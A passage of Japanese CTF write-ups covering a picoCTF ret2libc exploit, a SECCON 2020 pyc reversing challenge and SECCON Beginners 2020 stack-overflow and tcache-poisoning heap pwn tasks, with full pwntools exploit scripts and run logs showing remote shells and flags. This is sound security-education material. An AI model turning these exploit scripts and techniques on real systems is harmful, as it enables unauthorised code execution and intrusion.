    io.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!', p)

def main():
    context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO')

    elf = ELF(FILE) if os.path.exists(FILE) else None
    rop = ROP(elf) if elf is not None else None

    if args['REMOTE']:
        io = remote(HOST, PORT)
        libc = ELF(LIBC) if os.path.exists(LIBC) else None
    else:
        if FILE == '':
            return
        io = process([FILE])
        libc = elf.libc
        if args['GDB']:
            pid = proc.pid_by_name(os.path.basename(FILE))
            gdb.attach(pid[0], GDB_SCRIPT)

    exploit(io, elf, libc, rop)
    io.interactive()

if __name__ == '__main__':
    main()
$ python3 exploit.py REMOTE
[*] '/root/workdir/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./'
[*] Loaded 14 cached gadgets for './vuln'
[+] Opening connection to mercury.picoctf.net on port 49464: Done
[*] '/root/workdir/lib/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] puts_got: 0x601018
[*] 0x0000:         0x400913 pop rdi; ret
    0x0008:         0x601018 [arg0] rdi = got.puts
    0x0010:         0x400540 puts
    0x0018:         0x400771 main()
[*] 00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  41 41 41 41  13 09 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000090  18 10 60 00  00 00 00 00  40 05 40 00  00 00 00 00  │··`·│····│@·@·│····│
    000000a0  71 07 40 00  00 00 00 00                            │q·@·│····│
    000000a8
[*] puts_addr: 0x7f8741ebca30
[*] libc_base: 0x7f8741e3c000
[*] Switching to interactive mode

AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd
$ id
uid=1559(here-s-a-libc_4) gid=1560(here-s-a-libc_4) groups=1560(here-s-a-libc_4)
$ ls
flag.txt
libc.so.6
vuln
vuln.c
xinet_startup.sh
$ cat flag.txt
picoCTF{1_<3_sm4sh_st4cking_37b2dd6c2acb572a}

picoCTF{1_<3_sm4sh_st4cking_37b2dd6c2acb572a}

SECCON 2020 Online CTF Writeup

SECCON 2020 Online CTF について

SECCON 2020 Online CTF が開催されました。
2020年10月10日午後3時から2020年10月11日の午後3時(24時間)

score.lmt.seccon.jp

www.seccon.jp

SECCON CTF 本戦にチームで参加してきました。本戦とだけあって、問題はかなり難しく私は1問解くだけで精一杯でした。 チームメンバが10問解いてくれて、結果は、14/579 位で 1678 点でした(チームメンバが強すぎる)。 私もメンバと協力し、実際に1問解くことができたので、そのWriteupを紹介します。

f:id:tsalvia:20201011170106p:plain

SECCON 2020 Online CTF Writeup(1問)

Fixer (reversing)

問題

usage

$ python3.9 fixer.cpython-39.pyc
SECCON{DUMMY_FLAG}
wrong
$
Note: SECCON{DUMMY_FLAG} is not the actual flag.

添付ファイル

  • fixer.25f1fe08e6e0434bd5ae604e963f4b80.cpython-39.pyc

解答例

Python3.9 の pyc ファイルが渡されました。Pyhton3.9をインストールし、実行してみると以下のようになりました。正しいフラグを入力する必要があるようです。

$ python3.9 fixer.25f1fe08e6e0434bd5ae604e963f4b80.cpython-39.pyc
A
invalid flag
$ python3.9 fixer.25f1fe08e6e0434bd5ae604e963f4b80.cpython-39.pyc
SECCON{A}
wrong

pycファイルなので、zrax/pycdc を使ってデコンパイルを試してみました。

github.com

途中まで、デコンパイルできてそうですが、LOAD_METHOD 命令がサポートされておらず、上手くいきませんでした。

$ ./pycdc/pycdc ./fixer.25f1fe08e6e0434bd5ae604e963f4b80.cpython-39.pyc 
# Source Generated with Decompyle++
# File: fixer.25f1fe08e6e0434bd5ae604e963f4b80.cpython-39.pyc (Python 3.9)

Unsupported opcode: LOAD_METHOD
import re
s = input()
# WARNING: Decompyle incomplet

pycdc の issues を見てみると、Python3.7 から追加された LOAD_METHOD と CALL_METHOD は、残念ながら対応できていないようです。

Unsupported opcode: LOAD_METHOD on Python 3.7 files · Issue #163 · zrax/pycdc · GitHub

仕方ないので、pycdc のコードをざっと読み、エラーになっている箇所をつぶして無理やりデコンパイルさせました。 pycdc/ASTree.cpp:2135-2136 をコメントアウトすれば、とりあえずスキップできそうです。

https://github.com/zrax/pycdc/blob/master/ASTree.cpp#L2135

        default:
            fprintf(stderr, "Unsupported opcode: %s\n", Pyc::OpcodeName(opcode & 0xFF));
            // cleanBuild = false;
            // return new ASTNodeList(defblock->nodes());

make して再度実行すると、不完全ですがデコンパイルされました。

# Source Generated with Decompyle++
# File: fixer.25f1fe08e6e0434bd5ae604e963f4b80.cpython-39.pyc (Python 3.9)

import re
s = input()
m = s
if not m:
    print('invalid flag')
else:
    s = 1
    
    f = lambda s: (lambda a: (lambda b = None: a == b)
)(0x1F8DD85698FB84CC77D5D5046A176F6B51A9531952D4409D133FF48B68FL)((lambda a: None((lambda b = None: None((lambda c = None: b(b)(c)))
))
)((lambda f: (lambda b = None: (lambda c = None: (lambda d = None: if len(c) == 0:
dNone(f(b)(c[1:])(d))(c[0]))
)
)
))((lambda a: (lambda b = None: a * (lambda a: None((lambda b = None: None((lambda c = None: b(b)(c)))
))
)((lambda a: (lambda b = None: if b > 266:
b - 10None(a(b + 11)))
))(b) + b
)
))((lambda a: None((lambda b = None: None((lambda c = None: b(b)(c)))
))
)((lambda f: (lambda b = None: (lambda c = None: if len(c) == 0:
[][
None(ord(c[0]) - 65)] + f(b)(c[1:]))
)
))((lambda a: None((lambda b = None: None((lambda c = None: b(b)(c)))
))
)((lambda a: (lambda b = None: if b == 0:
1(None + 1) * a(b - 1) + 7 & 255)
)))(s))(0))

    if f(s):
        print('correct')
    else:
        print('wrong')

不完全な場所を pycdas(pycdc の Disassembler)の disassemble 結果と見比べながら、復元していきました。 これでも完全ではないですが、大体復元できました。

import re
s = input()
m = re.match(r'^SECCON{([A-Z]+)}$', s)
if not m:
    print('invalid flag')
else:
    s = m.group(1)
    f = lambda s: (
        (lambda a: lambda b: a == b)(0x1F8DD85698FB84CC77D5D5046A176F6B51A9531952D4409D133FF48B68F)
        (
            (
                lambda a: lambda b: a(lambda c: b(b)(c))
            )
            (
                lambda f: lambda b: lambda c: lambda d: d if len(c) == 0 else b(f(b)(c[1:])(d))(c[0])
            )
            (
                lambda a: lambda b: a * (lambda a: lambda b: a(lambda c: b(b)(c)))(lambda a: lambda b: b - 10 if b > 266 else a(a(b + 11)))(b) + b
            )
            (
                (lambda f: lambda b: lambda c: [] if len(c) == 0 else [b(ord(c[0]) - 65)] + f(b)(c[1:]))
                (lambda a: lambda b: 1 if b == 0 else (b + 1) * a(b - 1) + 7 & 255)(s)
            )(0)
        )
    )

    if f(s):
        print('correct')
    else:
        print('wrong')

入力したフラグ文字列(中括弧内の文字列)を変換し、最後に 0x1F8DD85698FB84CC77D5D5046A176F6B51A9531952D4409D133FF48B68F になればいいようです。 多段にネストされた lambda を読むのはつらいので、Python バイトコードを直接書き換えて、以下のような処理になるように変換しました。

# a == b を a - b に書き換えて、差分を返すようにする
(lambda a: lambda b: a - b)(0x1F8DD85698FB84CC77D5D5046A176F6B51A9531952D4409D133FF48B68F)

# fs(s) を print(f(s)) に書き換えて、差分を出力させる
if print(f(s)):
    print('correct')

バイトコード書換え後の実行結果は、以下通りです。ちゃんと差分が出力されています。

$ echo 'SECCON{A}' | python3.9 patched_fixer.pyc 
13611142019359843741091679554812914051545792465993098606064046040462990
wrong

後は、0に近づくように徐々にフラグの文字列をすり寄せていきます。 まず、差分が最小になる文字列のサイズを求めます。 次にフラグの文字列を特定します。 後ろの文字列のほうが比重が大きいようなので、後ろからA-Zの文字列を割り当てて、0に近づくように総当たりします。

上記の手順を行うスクリプトを作成しました。

import subprocess

def run_script(flag):
    command = "echo '" + flag + "' | python3.9 patched_fixer.pyc"
    proc = subprocess.Popen(
        command,
        shell  = True,
        stdin  = subprocess.PIPE,
        stdout = subprocess.PIPE,
        stderr = subprocess.PIPE)

    stdout_data, stderr_data = proc.communicate()
    return int(stdout_data.decode().split('\n')[0])

large_num = 10**1000

body_size = 1
prev_num = large_num
while True:
    flag = 'SECCON{' + 'A' * body_size + '}'
    num = abs(run_script(flag))
    print(body_size, num)
    if prev_num < num:
        body_size -= 1
        break
    prev_num = num
    body_size += 1

print('[+] smallest body size:', body_size)
body = list('A' * body_size)

for i in reversed(range(body_size)):
    correct_ch = ''
    target_num = large_num 

    for ch in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
        body[i] = ch
        flag = 'SECCON{' + ''.join(body) + '}'
        num = abs(run_script(flag))

        if target_num > num:
            target_num = num
            correct_ch = ch

    body[i] = correct_ch
    flag = 'SECCON{' + ''.join(body) + '}'
    print(flag, target_num) 
            
print('[+] flag:', flag)

実行すると、以下のようになり、フラグの特定に成功しました。

$ python3 solve.py 
1 13611142019359843741091679554812914051545792465993098606064046040462990
2 13611142019359843741091679554812914051545792465993098606064046040462733
3 13611142019359843741091679554812914051545792465993098606064046040396684
4 13611142019359843741091679554812914051545792465993098606064046023422091
5 13611142019359843741091679554812914051545792465993098606064041660951690
6 13611142019359843741091679554812914051545792465993098606062920506058633
7 13611142019359843741091679554812914051545792465993098605774783698542984
8 13611142019359843741091679554812914051545792465993098531723624167021191
9 13611142019359843741091679554812914051545792465993079500575624565920390
10 13611142019359843741091679554812914051545792465988188495539727083014533
11 13611142019359843741091679554812914051545792464731200201314073976209284
12 13611142019359843741091679554812914051545792141685208585321225527260291
13 13611142019359843741091679554812914051545709118865363275159174147369090
14 13611142019359843741091679554812914051524372254165118563511969515330433
15 13611142019359843741091679554812914046040798026202227670180379081395584
16 13611142019359843741091679554812912636762221439739268083961637560139391
17 13611142019359843741091679554812550452168038718758654425745066597297790
18 13611142019359843741091679554719469011463079426740944264086329147006333
19 13611142019359843741091679530797538750288541378189432717790804422101884
20 13611142019359843741091673382861461628432262900450965319840950121658491
21 13611142019359843741090093363289641311368694121664844046728394907706490
22 13611142019359843740684028333331819826031517973631676856801704922042233
23 13611142019359843636325315634171698094377247929107709045642378606328184
24 13611142019359816816136151950020413059229846486447981577695515467817591
25 13611142019352924027521085123140159026347675722898022315351688870595190
26 13611142017581477353448910614914872575629789490558491892988253384438133
27 13611141562319682116900062001016254741133027779299173345585333442074484
28 13611024560038306323845968229071471275465267985654306663034908254616691
29 13580954973724727508943868839262120598851001018923569247575635077963890
30 5853071291134972079104325658258996708984390569124053474542428678194033
31 1980213035134432173389658271859543842986734495029351500194991616062659216
[+] smallest body size: 30
SECCON{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA} 5853071291134972079104325658258996708984390569124053474542428678194033
SECCON{AAAAAAAAAAAAAAAAAAAAAAAAAAAAZA} 19571546300681988097044035244965445816599023360994875443432407550639
SECCON{AAAAAAAAAAAAAAAAAAAAAAAAAAAKZA} 32165310924548063384120466126679300713484668258889522426102099208
SECCON{AAAAAAAAAAAAAAAAAAAAAAAAAAPKZA} 296985257989643981147562878264527393696515960571318030136643778
SECCON{AAAAAAAAAAAAAAAAAAAAAAAAAKPKZA} 1153663419590838273940040994640392895814380036624303948415259
SECCON{AAAAAAAAAAAAAAAAAAAAAAAAKKPKZA} 2567720874678184937617503317875382971183225205262212274292
SECCON{AAAAAAAAAAAAAAAAAAAAAAASKKPKZA} 19802904128190565539164314738330297073770253264053767957
SECCON{AAAAAAAAAAAAAAAAAAAAAAQSKKPKZA} 79107428049302531881657699915267157461140590383812696
SECCON{AAAAAAAAAAAAAAAAAAAAAZQSKKPKZA} 330812237485163726245527196832722615362733164946838
SECCON{AAAAAAAAAAAAAAAAAAAAEZQSKKPKZA} 588146974717459959652430533376534838693448978629
SECCON{AAAAAAAAAAAAAAAAAAASEZQSKKPKZA} 4093047390883613197045378973729602534906856294
SECCON{AAAAAAAAAAAAAAAAAAGSEZQSKKPKZA} 2397316222767190743070499313067806948195515
SECCON{AAAAAAAAAAAAAAAAAUGSEZQSKKPKZA} 70280205143208442627745271599370690909090
SECCON{AAAAAAAAAAAAAAAAZUGSEZQSKKPKZA} 16393871760572388695577584603899638496
SECCON{AAAAAAAAAAAAAAAWZUGSEZQSKKPKZA} 891807418121296140129178447165820373
SECCON{AAAAAAAAAAAAAANWZUGSEZQSKKPKZA} 3468393191307815409460796868374835
SECCON{AAAAAAAAAAAAANNWZUGSEZQSKKPKZA} 11821109868172122613646478112401
SECCON{AAAAAAAAAAAADNNWZUGSEZQSKKPKZA} 31869450138079602350533561859
SECCON{AAAAAAAAAAARDNNWZUGSEZQSKKPKZA} 210942959712303202536560545
SECCON{AAAAAAAAAAKRDNNWZUGSEZQSKKPKZA} 1025914576619133700083962
SECCON{AAAAAAAAAEKRDNNWZUGSEZQSKKPKZA} 3694524116559772759849
SECCON{AAAAAAAAZEKRDNNWZUGSEZQSKKPKZA} 2481404637159204455
SECCON{AAAAAAACZEKRDNNWZUGSEZQSKKPKZA} 37716372618985286
SECCON{AAAAAAJCZEKRDNNWZUGSEZQSKKPKZA} 258587641950916
SECCON{AAAAALJCZEKRDNNWZUGSEZQSKKPKZA} 722016547806
SECCON{AAAAILJCZEKRDNNWZUGSEZQSKKPKZA} 2208931641
SECCON{AAAJILJCZEKRDNNWZUGSEZQSKKPKZA} 2234551
SECCON{AACJILJCZEKRDNNWZUGSEZQSKKPKZA} 54934
SECCON{AYCJILJCZEKRDNNWZUGSEZQSKKPKZA} 193
SECCON{MYCJILJCZEKRDNNWZUGSEZQSKKPKZA} 0
[+] flag: SECCON{MYCJILJCZEKRDNNWZUGSEZQSKKPKZA}

FLAG

SECCON{MYCJILJCZEKRDNNWZUGSEZQSKKPKZA}

SECCON Beginners CTF 2020 Writeup

SECCON Beginners CTF 2020 について

SECCON Beginners CTF 2020 が開催されました。
2020年05月25日午後2時から2020年05月25日の午後2時(24時間)

score.beginners.seccon.jp

久しぶりに チームで CTF に参加しました。 Beginnersなので難易度は易しめですが、Elementary Stack(Pwn)にはまってしまい、いつの間にか大会が終わってました。 メンバが7問解いてくれて、結果は、74/1009位、1395 点でした。私も実際に3問解くことができたので、そのWriteupを紹介します。

f:id:tsalvia:20200525032937p:plain

SECCON Beginners CTF 2020 Writeup(3問)

Beginner's Stack (Pwn)

問題

Let's learn how to abuse stack overflow!
nc bs.quals.beginners.seccon.jp 9001

添付ファイル

  • chall

解答例

まずは、file と checksec でファイルを確認してみます。

$ file ./chall 
./chall: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, BuildID[sha1]=b1ddcb889cf95991ae5345be73afb83771de5855, not stripped
$ checksec ./chall 
[*] '/root/workdir2/beginners_stack/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

次に実行してみました。

$ ./chall 
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007fffffffe220 | 0x0000000000400b60 | <-- buf
                   +--------------------+
0x00007fffffffe228 | 0x00007ffff7dd59d0 |
                   +--------------------+
0x00007fffffffe230 | 0x00007ffff7fed740 |
                   +--------------------+
0x00007fffffffe238 | 0x00007ffff7ffe1c8 |
                   +--------------------+
0x00007fffffffe240 | 0x00007fffffffe250 | <-- saved rbp (vuln)
                   +--------------------+
0x00007fffffffe248 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007fffffffe250 | 0x0000000000000000 | <-- saved rbp (main)
                   +--------------------+
0x00007fffffffe258 | 0x00007ffff7a32f45 | <-- return address (main)
                   +--------------------+
0x00007fffffffe260 | 0x00007fffffffe338 |
                   +--------------------+
0x00007fffffffe268 | 0x00007fffffffe338 |
                   +--------------------+

Input:

BOFでリターンアドレスを書き換えて、win 関数を呼び出せばよさそうです。 実行時にスタックが表示されてましたが、一応 gdbでも確認しました。

gdb-peda$ pattc 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ run

省略

Input: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

[-------------------------------------code-------------------------------------]
   0x4007e9 <vuln+66>:  call   0x4008da <__show_stack>
   0x4007ee <vuln+71>:  nop
   0x4007ef <vuln+72>:  leave  
=> 0x4007f0 <vuln+73>:  ret    
   0x4007f1 <main>:     push   rbp
   0x4007f2 <main+1>:   mov    rbp,rsp
   0x4007f5 <main+4>:   mov    rax,QWORD PTR [rip+0x201894]        # 0x602090 <stdin@@GLIBC_2.2.5>
   0x4007fc <main+11>:  mov    esi,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe208 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177")
0008| 0x7fffffffe210 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177")
0016| 0x7fffffffe218 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177")
0024| 0x7fffffffe220 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177")
0032| 0x7fffffffe228 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177")
0040| 0x7fffffffe230 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177")
0048| 0x7fffffffe238 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177")
0056| 0x7fffffffe240 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004007f0 in vuln ()
gdb-peda$ patto AA0AAFAAbAA1AAGAAcAA2
AA0AAFAAbAA1AAGAAcAA2 found at offset: 40

オフセットが40だと分かりました。あとは、win関数を呼び出すように調整するだけです。 アラインメントの問題があるため、win 関数実行前に ret gadget を呼び出すことにだけ注意します。

ROP EmporiumのBeginner's Guideより

The MOVAPS issue
If you're using Ubuntu 18.04 and segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the 64 bit challenges then ensure the stack is 16 byte aligned before returning to GLIBC functions such as printf() and system(). The version of GLIBC packaged with Ubuntu 18.04 uses movaps instructions to move data onto the stack in some functions. The 64 bit calling convention requires the stack to be 16 byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.

#!/usr/bin/env python3
from pwn import *

ARCH = "amd64"
FILE = "./chall"
LIBC = ""
HOST = "bs.quals.beginners.seccon.jp"
PORT = 9001

GDB_SCRIPT = """
    break main
    continue
"""

def exploit(io, elf, libc, rop):
    rop.raw(rop.find_gadget(["ret"]))
    rop.call(b"win")
    log.info(rop.dump())

    offset = 40
    payload = b'A' * offset
    payload += rop.chain()
    log.info('payload: {}'.format(payload))
    io.sendlineafter('Input: ', payload)

def main():
    context(arch=ARCH, os='linux', terminal=['/bin/sh'])

    elf = ELF(FILE)
    rop = ROP(elf)

    if args['REMOTE']:
        io = remote(HOST, PORT)
        libc = ELF(LIBC) if LIBC != '' else None
    else:
        io = process([FILE])
        libc = elf.libc
        if args['GDB']:
            pid = proc.pid_by_name(os.path.basename(FILE))
            gdb.attach(pid[0], GDB_SCRIPT)

    exploit(io, elf, libc, rop)
    io.interactive()

if __name__ == '__main__':
    main()

実行すると、shell を取ることができました。

$ python3 exploit.py REMOTE
[*] '/root/workdir2/beginners_stack/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] Loaded cached gadgets for './chall'
[+] Opening connection to bs.quals.beginners.seccon.jp on port 9001: Done
[*] 0x0000:         0x400626 ret
    0x0008:         0x400861 b'win'()
    0x0010:      b'eaaafaaa' <pad>
[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&\x06@\x00\x00\x00\x00\x00a\x08@\x00\x00\x00\x00\x00eaaafaaa'
[*] Switching to interactive mode

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffe7cf471d0 | 0x4141414141414141 | <-- buf
                   +--------------------+
0x00007ffe7cf471d8 | 0x4141414141414141 |
                   +--------------------+
0x00007ffe7cf471e0 | 0x4141414141414141 |
                   +--------------------+
0x00007ffe7cf471e8 | 0x4141414141414141 |
                   +--------------------+
0x00007ffe7cf471f0 | 0x4141414141414141 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffe7cf471f8 | 0x0000000000400626 | <-- return address (vuln)
                   +--------------------+
0x00007ffe7cf47200 | 0x0000000000400861 | <-- saved rbp (main)
                   +--------------------+
0x00007ffe7cf47208 | 0x6161616661616165 | <-- return address (main)
                   +--------------------+
0x00007ffe7cf47210 | 0x000000000000000a |
                   +--------------------+
0x00007ffe7cf47218 | 0x00007ffe7cf472e8 |
                   +--------------------+

Congratulations!
$ id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}

FLAG

ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}

Beginner's Heap (Pwn)

問題

Let's learn how to abuse heap overflow!
nc bh.quals.beginners.seccon.jp 9002

解答例

netcat で接続すると、以下のように表示されました。

$ nc bh.quals.beginners.seccon.jp 9002
Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)

 A = malloc(0x18);

Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:

 <__free_hook>: 0x7fa4422028e8
 <win>: 0x56267677f465

Call <win> function and you'll get the flag.

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 

6 を入力すると、ヒントが表示されるので、ヒント通りに作業を進めていきます。

  1. malloc() -> free() で tcache に入れる。
  2. ヒープオーバフローでチャンクサイズとtcache が指しているアドレスを __free_hook() のアドレスに書き換える(tcache の末尾に追加される)。

    Address Data
    0x0000564f61db0330 0x4141414141414141
    0x0000564f61db0338 0x4141414141414141
    0x0000564f61db0340 0x4141414141414141
    0x0000564f61db0348 0x0000000000000030
    0x0000564f61db0350 0x00007f2d4a4f08e8
  3. malloc() -> free() で tcache から一つ取り出して、リストをずらす。

  4. もう一度 malloc() すると、__free_hook のアドレスにメモリが確保されるので、win() のアドレスを書き込む。
  5. free() すると、__free_hook() が呼び出されるが、win のアドレスに書き換えられているため、win()が呼び出される。

上記の手順通りに入力するスクリプトを作成しました。実行速度が速いとうまく動かない場合があったので、適当にsleepを入れました。

#!/usr/bin/env python3
from pwn import *
from time import sleep

ARCH = "amd64"
HOST = "bh.quals.beginners.seccon.jp"
PORT = 9002

def readA(io, data):
    io.readuntil('6. Currently available hint')
    io.sendlineafter('> ', b'1')
    io.sendline(data)
    log.info('read(0, A, 0x80);\ndata: {}\nlen: {}'.format(data, len(data)))
    sleep(1)

def mallocB_readB(io, data):
    io.readuntil('6. Currently available hint')
    io.sendlineafter('> ', b'2')
    io.sendline(data)
    log.info('B = malloc(0x18); read(0, B, 0x18);\ndata: {}\nlen: {}'.format(data, len(data)))
    sleep(1)

def freeB(io):
    io.readuntil('6. Currently available hint')
    io.sendlineafter('> ', b'3')
    log.info('free(B); B = NULL;')
    sleep(1)

def describe_heap(io):
    io.readuntil('6. Currently available hint')
    io.sendlineafter('> ', b'4')
    output = io.readuntil('1. read(0, A, 0x80);')[:-20].decode()
    log.info('Describe heap\n{}'.format(output))
    sleep(1)

def describe_tcache(io):
    io.readuntil('6. Currently available hint')
    io.sendlineafter('> ', b'5')
    output = io.readuntil('1. read(0, A, 0x80);')[:-20].decode()
    log.info('Describe tcache (for size 0x20)\n{}'.format(output))
    sleep(1)

def hint(io):
    io.readuntil('6. Currently available hint')
    io.sendlineafter('> ', b'6')
    output = io.readuntil('1. read(0, A, 0x80);')[:-20].decode()
    log.info('Currently available hint\n{}'.format(output))
    sleep(1)

def get_free_hook(io):
    io.readuntil('<__free_hook>: ')
    output = io.readuntil('\n')
    free_hook = int(output.decode(), 16)
    log.info('__free_hook: {}'.format(hex(free_hook)))
    sleep(1)
    return free_hook

def get_win(io):
    io.readuntil('<win>: ')
    output = io.readuntil('\n')
    win = int(output.decode(), 16)
    log.info('win: {}'.format(hex(win)))
    sleep(1)
    return win

def exploit(io):
    free_hook = get_free_hook(io)
    win = get_win(io)

    describe_heap(io)
    describe_tcache(io)
    hint(io)

    mallocB_readB(io, b'A')
    freeB(io)
    readA(io, b'A' * 24 + pack(0x30) + pack(free_hook))

    describe_heap(io)
    describe_tcache(io)
    hint(io)

    mallocB_readB(io, b'A')
    freeB(io)

    describe_tcache(io)
    hint(io)

    mallocB_readB(io, pack(win))
    describe_tcache(io)
    hint(io)

    freeB(io)

def main():
    context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO')
    io = remote(HOST, PORT)
    exploit(io)
    io.interactive()

if __name__ == '__main__':
    main()

実行すると、フラグが表示されます。

$ python exploit.py 
[+] Opening connection to bh.quals.beginners.seccon.jp on port 9002: Done
[*] __free_hook: 0x7f0194b978e8
[*] win: 0x5605ca09c465
[*] Describe heap
    -=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
     [+] A = 0x5605cb459330
     [+] B = (nil)
    
                       +--------------------+
    0x00005605cb459320 | 0x0000000000000000 |
                       +--------------------+
    0x00005605cb459328 | 0x0000000000000021 |
                       +--------------------+
    0x00005605cb459330 | 0x0000000000000000 | <-- A
                       +--------------------+
    0x00005605cb459338 | 0x0000000000000000 |
                       +--------------------+
    0x00005605cb459340 | 0x0000000000000000 |
                       +--------------------+
    0x00005605cb459348 | 0x0000000000020cc1 |
                       +--------------------+
    0x00005605cb459350 | 0x0000000000000000 |
                       +--------------------+
    0x00005605cb459358 | 0x0000000000000000 |
                       +--------------------+
    0x00005605cb459360 | 0x0000000000000000 |
                       +--------------------+
    0x00005605cb459368 | 0x0000000000000000 |
                       +--------------------+
    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[*] Describe tcache (for size 0x20)
    -=-=-=-=-= TCACHE -=-=-=-=-=
    [    tcache (for 0x20)    ]
            ||
            \/
    [      END OF TCACHE      ]
    -=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Currently available hint
    Tcache manages freed chunks in linked lists by size.
    Every list can keep up to 7 chunks.
    A freed chunk linked to tcache has a pointer (fd) to the previously freed chunk.
    Let's check what happens when you overwrite fd by Heap Overflow.
    
[*] B = malloc(0x18); read(0, B, 0x18);
    data: b'A'
    len: 1
[*] free(B); B = NULL;
[*] read(0, A, 0x80);
    data: b'AAAAAAAAAAAAAAAAAAAAAAAA0\x00\x00\x00\x00\x00\x00\x00\xe8x\xb9\x94\x01\x7f\x00\x00'
    len: 40
[*] Describe heap
    -=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
     [+] A = 0x5605cb459330
     [+] B = (nil)
    
                       +--------------------+
    0x00005605cb459320 | 0x0000000000000000 |
                       +--------------------+
    0x00005605cb459328 | 0x0000000000000021 |
                       +--------------------+
    0x00005605cb459330 | 0x4141414141414141 | <-- A
                       +--------------------+
    0x00005605cb459338 | 0x4141414141414141 |
